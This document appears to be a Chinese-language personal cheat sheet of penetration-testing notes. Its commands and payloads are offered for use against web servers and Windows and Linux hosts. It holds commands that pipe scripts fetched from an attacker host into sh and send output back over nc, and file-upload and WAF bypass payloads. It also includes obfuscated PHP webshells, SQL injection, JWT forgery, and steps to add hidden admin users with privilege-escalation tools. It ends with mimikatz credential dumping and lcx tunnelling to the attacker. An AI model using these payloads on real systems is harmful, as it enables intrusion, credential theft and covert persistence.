基础知识点
sudo python -m SimpleHTTPServer 80 #主机 开启简单服务器,开启下载服务
curl 10.10.10.10/linpeas.sh | sh #受害者 curl下载恶意文件
#没有 curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #主机
cat < /dev/tcp/10.10.10.10/80 | sh #受害者
#从内存中执行并将输出发送回主机
nc -lvnp 9002 | tee linpeas.out #主机
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #受害者
待办【
python 调用sqlmap api
w3af
php伪协议
sqlmap绕过token保护
】
通过 目录扫描 得到tmp里的session文件,然后通过bs改包替换cookie里phpsessid,即可登陆,绕过session验证
文件上传getshell 验证绕过 注意组合使用
1、修改本地js 或bs修改
2、修改 content-type文件类型
3、空格绕过
4、点绕过
5、末尾 点+空格+点+空格--》1.php . . . \1.php. . .
6、大小写绕过
7、双写绕过
8、文件后缀末尾加::$data--》php+windows:文件名+"::$DATA",会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名
9、.php5等绕过黑名单-- 前提条件 httpd.conf--》 AddType application/x-httpd-php .php .phtml .phps .php5 .pht
10、上传.htaccess文件绕过(无文件名)--文件内容 SetHandler application/x-httpd-php --》所有文件都会当成php来解析
11、注意get\post获取的地址,%00截断拼接的地址(post的地址 %00需要url编码)
12、图片马+利用文件包含漏洞--注意修改模版有此漏洞
13、%00截断--需要php版本低5.3
14、增加post里数组的项
黑白名单绕过:bs穷举+大小写(全部或首字母) 暴破
iis6.0文件名解析漏洞 xx.asp;.png--aspx不支持;分割
iis6.0文件夹目录解析漏洞 x.asp/1.png--aspx,php不支持 ,x.asp是文件夹
文件包含漏洞--进入后台,模版管理,修改模版--将url里模版文件名改为网站里能访问的x.php,在php里添加一句话木马,菜刀连接x.php。
【
http://59.63.200.79:8003/bluecms/uploads/admin/tpl_manage.php?act=edit&tpl_name=ann.htm
----》
http://59.63.200.79:8003/bluecms/uploads/admin/tpl_manage.php?act=edit&tpl_name=../../news_cat.php
】
http头注入
【
sqlmap -u "http://pikachu.com/vul/sqli/sqli_header/sqli_header.php" --batch --dbms=mysql --current-db --cookie="ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=8s5qgb2gu14ovr64805877d9u1" --user-agent=*
或
sqlmap -r 1.txt --设置txt内容 User-Agent: *
】
--tamper unmagicquotes.py ----宽字节注入绕过
fuzzdb.github, ftplib,optparse 模块 --python爆破ftp
异或运算 过免杀 无字符后门 -- '!' ^ '@' -->‘a’
【
for i in range(1,127):
for j in range(1, 127):
k = i ^j
if chr(k)=='a':
print("{0}^{1}={2}". format( chr(i),chr(j),chr(k)))
】
pocsuite.github---远程漏洞验证
靶场---dvwa,皮卡丘,bwapp,sqli-labs,upload-labs,xss小游戏,xxe-labs,wargames,metasploitables,hackthebox
seeker.github---定位地理位置
sqlmap设置--cookie,需设置-level 2,且需base64编码脚本
sqlmap -u "http://sqlilabs.com/Less-21/" --cookie="uname=*" --tamper="base64encode" --level 2 --dbms=MySQL --current-db
-D -T -C --dump
针对id有编码的情况:
sqlmap -u "http://sqlilabs.com/Less-1/?id=*&a=2" --dbms=mysql --current-db --flush-session --fresh-queries --batch --tamper="base64encode.py" -p "id"
order by 3# 与 order by 3--+
在浏览器url中,#是用来知道浏览器动作(例如锚点),对服务器端没有效果。
可以用 # 的url编码 即%23代替
在浏览器中,url中的+解析为空格。
在myslq中,--' 是的 -- 与 单引号 连接在一起,不能形成正确的sql语句,而 --空格 则可以。
所以在浏览器的url中用 --+ 或--'使服务端能够正确注释sql语句
1、如何解决cmd添加用户被杀毒软件阻止?----提权至system
2、x.php?id=MQ== 这类参数加密的情况,啊d,明小子等爆破工具还能用吗?是否只能手工暴库?----sqlmap 自写python脚本
利用注入读取或写入文件:
读文件:搜索( xx框架 爆路径),通过 load_file()读取文件内容,可读取配置文件
写文件:union select '' into outfile '文件路径',可写webshell,然后菜刀连接
魔术引号:自动加反斜杠给路径,可通过编码(16进制)或宽字节绕过,二次注入绕过
无回显注入:and sleep (if(datebase()=='x',5,0)) 手工破解:先判断database长度,在判断每一位的值a~z、0-9等,得到数据库名,配合各种函数
二次注入:先insert恶意数据admin'#,在select出来时,即可注入或修改密码时,update掉admin的密码。例如:注册然后登陆
dnslog注入:解决盲注无回显的情况 www.ceye.io
sqlmap 通过插件跑 中转 ,访问带注入的url。python sqlmap.py -u "127.0.0.1/test.php" -v 3
例如:127.0.0.1/test.php?x=... 中转脚本
$url = "xx.php?id=";
$x=base64_encode($.GET['x']);
file_get_content($url.$x);
?>
堆叠注入:多条sql语句执行,当无法解密密码时,可以尝试插入自定义的新用户数据
sql注入过waf: py脚本跑unionselect.txt里的匹配项
{
更改提交方式 get->post、cookie等----id=1 and 1=2 union select 1,2 cookie注入时,把空格换成+,防止出错
用注释符拆分关键字 database/**/()
注释符 %23 换行符%0A-->
union %23a%0A select 1,2,3 ==>
union #a
select 1,2,3
参数污染:id=1 /** &id=-1 union select 1,2,3*/
仿百度爬虫白名单绕过,避免用工具扫时ip被限制
}
文件上传:黑白名单、后缀名、文件头检测,mime信息content-type
apache专用:先上传.htaccess文件,再上传与htaccess里同名xxx的png一句话木马图片,访问png图片,即可执行php代码
.htaccess内容如下:
{
Sethandler application/x-httpd-php
}
%00截断,需URL解码。upload/xx.php/. 冒充文件夹
图片上传,二次渲染,先上传在保存
文件上传过waf:
{
想办法干扰waf匹配的引号内容
修改数据包: filename="x"x.php; filename="/png;/x.php"; 斜杠注释
或filename="x.
p
h
p"
用换行干扰waf匹配
%00截断
大数据污染--n个 filename="x.png";后接filename="x.php";
fuzz字典结合bs工具穷举绕过waf --> filename="$x.png$";
}
xss:app反馈,获取管理员cookie xss平台
获取cookie条件:有漏洞,浏览器不阻止js运行,管理员已登陆,最后触发
【webshell箱子】xss反杀后门中的后门
【beef】浏览器攻击工具 【 xsstrike】 --xss扫描工具,识别并绕waf
xss触发条件、利用场景:管理员主动查看的地方
服务器有session验证,xss盗取的cookie无用
管理员已登陆,并点了添加用户的连接(xss),即可添加新用户,例如:
x.com/adduser.php?uname=a&pwd=b。
csrf:跨站请求伪造 伪造一个url,让用户去访问,例如引诱管理员添加新管理员
ssrf:服务端请求伪造 服务器提供了从其他服务器获取数据的功能。 让web服务器去访问url,例如上传图片是远程图片的url
反引号 执行代码
文件包含:远程包含--可自定义包含内容(一句话木马),菜刀连接
遇到include($input_file, "html")时,1、%00截断 低版本有效 2、填充垃圾数据,使超过系统规定长度 3、%20 %23 ? 等截断
【各种协议流玩法】--文件包含 伪协议
windows 不区分大小写,linus区分,因此可以用来判断服务器系统类型
易酷cms文件包含漏洞:x.php?file=my/show/~eval('$_POST[x]') 提示无此模版,把一句话木马写入日志,报错把日志路径显示出来,菜刀连接此日志即可
pkav http fuzzer 验证码识别工具---局限性大
BS 插件 captcha-killer ----验证码识别 -强
验证码 绕过:
ro0AB 开头的数据:java序列化之后base64加密的数据
aced开头的数据:Java16进制序列化的数据
XXE xml外部实体注入 【网站有xml数据传输】(可读取文件) xxeinjector 注入工具
JWT 修改数据,绕过密钥+签名:{头部 alg:none ,数据:按需修改,签名去掉 }
攻击jwt:1、伪造 无密钥,修改alg,删除签名 2、有密钥,修改数据后重新加密
jwt.io 在线加解密
nmap 、nessus、goby忍者系统 -----漏洞扫描工具
metasploit、searchsploit ----------漏洞利用工具
各种cmsScan工具,框架漏洞扫描 利用工具
漏扫工具 过waf---代理池(付费 隧道代理)+延时访问+或爬虫引擎
webshell过waf:变量覆盖、加密混淆、异或-----编码解码
【
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
1.php?x=b&y=assert; z=phpinfo();
】
【
1.php?x=b&y=assert; z=base64.encode( phpinfo());
.....
$b(base64.decode($_POST['z']));
】
z=var_dump(scandir('.')); z=file_put_contents('1.txt','aaa');
sql注入过宝塔:%00/* --截断/*
4、拆分关键字,然后拼接
post_data=$x='asse';$y='rt';$z=$x.$y;$a=str_replace('x','pxhpxinfo();');$z($a); 或
1.php?b=rt -----$y=$_GET['b'];会被宝塔拦截
post_data=$x='asse';$y=$_REQUEST['b'];$z=$x.$y;$a=str_replace('x','pxhpxinfo();');$z($a);
变量覆盖,配合文件包含攻击--审计搜关键字 $$
【
include 'xx.php';//1、包含变量覆盖的配置文件
$file="1.php";//2、存在包含函数和可控变量-- 参数覆盖 $file,一句话木马 a.php?file=....
include($file);
?>
】
mysql monitor client--sql监控工具
windowsvulnscan---补丁筛选工具
xshell--远程连接工具
数据库提权:
【
udf提权、webshell上传php爆破脚本运行(解决数据库不支持外连情况)或大马执行sql开启外连(msf攻击靶机添加启动项,mof提权最差)、msf反弹 本机msf nc -l -p 5555 (大马执行select backshell('ip',port))
select version(),select @@basedir, select load_file(path) into dumpfile (path)--替换文件
sqlserver提权:
xp_cmdshell或sp_oacreate提权,需执行命令开启
沙盒提权
oracle提权:oracleshell提权工具(冰蝎作者)
redis 未授权 漏洞
】
windows提权:------
msf 令牌窃取 提权(获取会话-利用模块-窃取令牌-提权 win2008&7以下),需要足够高的权限才能窃取,iis权限不能窃取
进程注入 提权(win2008以下)
web权限配合烂土豆 实现令牌窃取
dll劫持 提权 --鸡肋
无exp可用时:
【
不带引号的服务路径配合msf 提权(cmd命令检测筛选不带引号的服务路径--利用路径制作文件并上传--重启服务--调用后成功)
accesschk.exe 本地提权
】
and 1=2 union select null,null,null... null避免类型匹配错误
---搜索 服务器安装msf
linux提权:
【
上传到tmp目录,可读可写
提权自动化的4个脚本利用:----可能更新不及时,需二次开发
2个信息收集文件:linenum.sh linuxprivchecker.py
2个漏洞检测文件:linux-exploit-suggester.sh ,linux-exploit-suggester2.sh
suid--set user id
sgid--set group id
suid提权----类似以root权限运行文件 chmod +x 文件
nmap vim less more nano cp mv find 对比这8个,有则可以提权
chmod u+s 文件 给文件添加suid
chmod u-s 文件 删除文件的suid
脏牛内核漏洞提权
进入数据库 进行udf导出
create table foo;
insert into foo values(load_file('xx'));
select * from foo into dumpfile 'yy'
----为什么先把payload文件内容导入数据库,在导出到文件?
--借用数据库的root权限,否则直接copy,执行payload权限不够
】
内网:
【
域控:linux不适合域控
windows:mimikatz--先获取webshell权限,然后提权至system,在运行-获取管理员密码
procdump64--从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息
各种协议服务口令获取工具--xenarmor(付费),lazagne(全平台--鸡肋)
探针域内存活主机及地址信息
nbtscan -- 鸡肋,被查杀
系统命令-- for 循环 ping ,不易被杀
nmap,masscan
第三方powershell脚本--nishang(推荐),empire
Ladon--大杀器
】
x.php?id=MQ== 即 id=1,参数采用了base64编码,扫描注入点时,需先base64解密参数,然后把 id=1 and 1=1 用base64再次编码,带入到URL访问
超级ping 查看网站是否有cdn(ip有多个)
若有cdn,则需绕过cdn,获取主站真实ip:(不一定准确)
x.php?x=../../1.php 目录遍历漏洞 (例如x=../../inc/config.php 根目录下有inc/config.php),文件下载漏洞 类似
文件上传漏洞:1、禁用本地js 2、bs抓包修改文件后缀
x.php?id=123 and page =1,工具爆破的时候,注意调整参数id到最后=》page=1 and id =123
判断注入点:
老方法:id=1 and 1=1 ==> id=1 and 1=2
新方法:id=1xxx 页面不正常就有注入点
wafw00f --waf识别工具
根据响应头,确定是哪种服务器,若是apache,域名后加phpmyadmin,看能否进入数据库管理页,宝塔默认端口8888
nmap扫不到,有可能是把内网80端口映射到外网
万能登陆口令 admin' or 1=1 -- 或 admin' --
net user name$ /add 隐藏用户
菜刀 虚拟终端 执行 net user 显示[Err]拒绝访问,就是cmd.exe拒绝访问
菜刀上传cmd.exe,执行setp x:/xx路径/cmd.exe,设置命令执行的cmd.exe
还不能添加用户,尝试系统漏洞提权exp--cmd systeminfo,查看安装了多少补丁,bugs.hacking8.com/tiquan到这里对比补丁,然后利用系统漏洞, cmd pr.exe "net user a /add",
指令需要在exp里执行
技巧:上传文件或写马文件,通过写马文件,写入shell
常用扫描工具:啊D 明小子 pangolin穿山甲 nbsi awvs
fckeditor 上传图片(xx.aspx;jpg)漏洞,拿webshell,有专门的漏洞利用工具
havij ---自动化注入工具
type越权漏洞---cmd type "d:\a\b\c.txt" 输出TXT内容
永恒C段检测工具
上传webshell时,提示拒绝访问或不可写等,C盘迅雷目录可读可写(也可先pr.exe-wmiprvse.exe 提权)
后白管理系统:更改模版,往模版里写入一句话木马,用模版更新主页,菜刀连接主页
netfuke.exe 劫持服务器(先拿到webshell,添加user,远程桌面,运行netfuke)
IntelliTamper--网站目录扫描工具
www.xx.com/abc.mdb--abc.mdb需要用站长工具网的URL编码,才能下载该数据库文件
用ip访问比用域名访问或扫描,有意外的惊喜,ip属于域名的上一级目录
网站安全设置里:上传目录可能没有脚本执行权限,所以webshell不能被执行----换目录上传
https://vulhub.org 漏洞靶场
https://bugs.hacking8.com/tiquan/ 提权辅助页
【视频:2暗月渗透入侵教程第一季\第10节 高难度入侵内网服务器,值得学习
入侵内网:当上传lcx.exe不成功是,先上传vbs脚本,利用vbs脚本上传文件,执行命令:
cscript c:\iget.vbs http://www.moonhack.com/lcx.txt c:\lcx.exe
】
【视频:2暗月渗透入侵教程第一季\第35课指定入侵实例,值得学习
御剑 扫旁站,批量扫后台,fck上传webshell,需要修改本地验证代码,cmd拒绝访问,重新上传cmd.exe,
脚本(啊d或其他vbs)找可读可写目录,有时目录不可访问但可写,不可写但可访问。
跨目录访问被禁止,尝试copy命令 大马文件到目标站点目录,然后连接目标站大马文件,ok成功。
当copy命令不成功时,只能type path/xx.php 输出文件内容了,特别是配置文件,前提是扫描
到有该文件 或者 for命令输出所有文件路径
】
3月6日 内网提权
假设通过文件上传,拿到webshell。2012.asp
如果不允许cmd.exe ,可以自己上传一个cmd.exe(用菜刀,蚁剑)
提权:1、whoami ->network service (很低的权限)
2、systeminfo(有可能没有回显,去找相应的exp去提权)
3、提权工具与补丁对比(红色的)《pr.exe》
4、c:\Inetpub\wwwroot\80--test\pr.exe “whoami” —>变成系统权限
5、添加用户 test\pr.exe “net user bihuo 123456 /add”
6、添加到管理员组 test\pr.exe “net localgroup administrator bihuo /add”
7、net user 查看
8、“net user bihuo$ 123456 /add” 添加$ 符号,会在net user出隐藏
9、 netstat -anp tcp 查看开放端口的状态
10、上传3389.exe
11、c:\Inetpub\wwwroot\80--test\pr.exe “c:\Inetpub\wwwroot\80—test\3389.exe”
12、自己:lcx -listen 3333 3389(有人连3389 ,转到我这个1111上面来)
13、目标:c:\Inetpub\wwwroot\80—test\lcx -slave 192.168.31.160 1111 127.0.0.1 3389 ()
14、本地127.0.0.1:3389
分类: 杂记